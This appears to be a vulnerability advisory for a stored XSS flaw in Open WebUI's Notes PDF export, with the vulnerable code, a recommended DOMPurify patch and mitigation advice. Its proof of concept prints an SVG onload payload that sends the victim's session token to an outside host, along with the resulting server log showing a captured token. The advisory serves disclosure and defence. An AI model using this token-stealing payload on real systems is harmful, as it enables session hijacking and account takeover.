CVE-2025-65959 is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI vulnerable to Stored DOM XSS via Note 'Download PDF'
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-65959.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
open-webuinpmDescription
Summary
A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.
This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.
Details
Vulnerability Location
File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):
const contentNode = document.createElement('div');
contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization
node.appendChild(contentNode);
document.body.appendChild(node);
Root Cause
-
Incomplete TipTap Editor Configuration
- Open-WebUI only uses TipTap StarterKit
- No Schema definition for dangerous tags like SVG, Script
- Unknown HTML tags are stored as raw HTML
-
Missing Sanitization During PDF Generation
note.data.content.htmlis directly assigned toinnerHTML- No DOMPurify or other sanitization
- Stored malicious HTML executes as-is
PoC
Environment
- Open-WebUI latest version (v0.6.36)
- Admin account
Step 1: Create Malicious Markdown File
Filename: token_stealer.md
<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>
navigator.sendBeacon() was used to bypass CORS.
Step 2: Import to Notes
- Login to Open-WebUI
- Click "Notes" in the left menu
- Drag and drop the Markdown file
- Note is automatically created
Step 3: Trigger PDF Download
- Access Notes menu (/notes)
- Click ⋯ on the right side of the uploaded note
- Select "Download" → "PDF document (.pdf)"
- JavaScript executes
Step 4: Verify Token Theft
Attacker's server log:
POST /steal HTTP/1.1
Host: redacted
Content-Type: text/plain;charset=UTF-8
Content-Length: 145
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw
And Simple PoC alert(1)
Filename: simple_poc.md
<svg onload="alert(1)"></svg>
<img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" />
Impact
CVSS 3.1 Score: 8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Vulnerability Type
CWE-79: Cross-site Scripting (XSS)
CWE-116: Improper Encoding or Escaping of Output
Affected Users
- All Open-WebUI users
- Especially users utilizing the Notes feature
Attack Scenario
1. Attacker shares malicious note (.md file) in the community
2. Victim uploads the shared note (.md file)
3. Victim downloads as PDF
4. XSS vulnerability triggers
5. Victim's session (localStorage.token) is stolen
Recommended Patch
// src/lib/components/notes/utils.ts:35
import DOMPurify from 'dompurify';
const contentNode = document.createElement('div');
// Sanitize with DOMPurify
contentNode.innerHTML = DOMPurify.sanitize(html, {
ALLOWED_TAGS: [
'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',
'tbody', 'tr', 'td', 'th'
],
ALLOWED_ATTR: ['href', 'class', 'target'],
FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],
ALLOW_DATA_ATTR: false
});
node.appendChild(contentNode);
References
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- DOMPurify: https://github.com/cure53/DOMPurify
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | open-webui | all versions | 0.6.37npm install open-webui@0.6.37 |
Affected Products
open webuiopenwebuiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-65959 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2025-65959 in your dependencies?
Find it across npm, including transitive dependencies.